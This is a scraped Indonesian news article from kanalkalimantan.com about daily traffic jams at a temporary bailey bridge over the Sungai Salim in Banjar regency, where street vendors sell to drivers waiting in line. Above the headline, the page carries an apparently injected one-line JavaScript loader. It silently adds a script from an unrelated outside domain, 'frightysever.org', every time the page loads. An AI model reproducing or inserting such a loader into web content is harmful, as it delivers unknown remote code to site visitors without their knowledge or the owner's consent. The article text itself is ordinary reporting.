(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
HEADLINE

Macet Parah di Jembatan Sungai Salim Jadi ‘Santapan’ Harian, Berkah Bagi Pedagang Asongan


KANALKALIMANTAN.COM, MARTAPURA – Kemacetan panjang kendaran bermotor terjadi di ruas nasional lintas provinsi jalan A Yani Km 55,500, Kabupaten Banjar.

Pasca jembatan Sungai Salim Desa Banua Hanyar-Desa Bawahan Pasar terputus, perbatasan Kecamatan Astambul dan Kecamatan Mataraman, memang sudah tersambung dengan jembatan bailey, namun arus kendaraan bermotor diberlakukan satu arah secara bergantian dari arah Martapura maupun sebaliknya arah Hulu Sungai.

Dari pantauan Kanalkalimantan.com, untuk sementara ini, masih menggunakan jembatan bailey, dengan lebar sekitar 5 meter. Jadi hanya bisa dilewati sebuah kendaraan, sehingga hanya bisa dilalui kendaraan bermotor secara bergantian, terutama untuk mobil dan truk yang melintasi jembatan tersebut.

 

Panjangnya kemacetan ini, dimanfaatkan oleh beberapa pedagang keliling dan pedagang asongan, untuk menawarkan dagangan kepada para pengendara yang sedang mengantre untuk melewati jembatan tersebut.

Abidin (34), salah satu pedagang keliling, kepada kanalkalimantan.com mengungkapkan, mereka lebih memilih berdagang di lokasi kemacetan ini, karena lebih mudah dan hasilnya lumayan.

“Ya dari pada kami harus jualan keliling, belum pasti ada pembelinya, lebih baik jualan di sini, setidaknya di sini kami cuma modal jalan kaki saja, jadi tidak perlu minyak untuk transportasinya,” ucap Abidin sambil menggendong dagangannya.

Karena kemacetan panjang yang terjadi, ada kemungkinan membuat para pengendara kehausan bahkan sampai kelaparan, karena terlalu lama mengantre. Sehingga tidak menutup kemungkinan dagangan akan lebih cepat, dan hasilnya pun lebih banyak, karena tidak perlu membeli minta kendaraan untuk berkeliling.

Siti Aisyah (39), salah satu warga di desa Banua Hanyar mengungkapkan kalau kemacetan ini terjadi setiap hari, sejak putusnya jembatan Sungai Salim . Terutama selepas tengah hari sampai malam.

“Ya kalau yang saat ini masih belum seberapa masih macetnya, kalau hari-hari sebelumnya kemungkinan bisa sampai 2 sampai 3 kilometer macetnya, dan itu dari kedua arah pasti sama-sama macet,” aku Siti Aisyah kepada Kanalkalimantan.com, Selasa (2/2/2021) siang. (kanalkalimantan.com/tius)

Reporter: tius
Editor : bie


Al Ghifari

Recent Posts

‎PCNU Alabio Salurkan Bantuan Korban Banjir di Desa Pondok Babaris

KANALKALIMANTAN.COM, AMUNTAI - Wujud kepedulian Pengurus Cabang (PC) Nahdatul Ulama (NU) Alabio menyalurkan bantuan kepada… Read More

7 jam ago

Represifitas Aparat saat Unjuk Rasa Mahasiswa di Rumah Banjar

KANALKALIMANTAN.COM, BANJARMASIN — Demontrasi tolak Pilkada melalui DPRD di Banjarmasin memakan korban dari mahasiswa imbas… Read More

15 jam ago

Pemkab Kapuas Siapkan Data dan Regulasi Dukung Program 3 Juta Rumah

KANALKALIMANTAN.VOM, KUALA KAPUAS - Pemerintah Kabupaten Kapuas mulai menyelaraskan kebijakan daerah untuk mendukung program prioritas… Read More

18 jam ago

Unjuk Rasa Mahasiswa di Rumah Banjar Cuma Satu Wakil Rakyat Muncul

KANALKALIMANTAN.COM, BANJARMASIN — Ratusan mahasiswa masuk ke gedung DPRD Kalimantan Selatan (Kalsel) untuk menyampaikan penolakan… Read More

1 hari ago

Sekda Kapuas Pimpin Rakor Laporan Kinerja Pelaksanaan PRO-SN 2025

KANALKALIMANTAN.COM, KUALA KAPUAS - Sekretaris Daerah (Sekda) Kabupaten Kapuas Usis I Sangkai memimpin rapat koordinasi… Read More

1 hari ago

Jaminan Kesejahteraan untuk PPPK, Pemkab Kapuas Rapat Bersama PT Taspen

KANALKALIMANTAN.COM, KUALA KAPUAS - Pemerintah Kabupaten Kapuas mematangkan langkah sosialisasi PT Taspen bagi Pegawai Pemerintah… Read More

1 hari ago

This website uses cookies.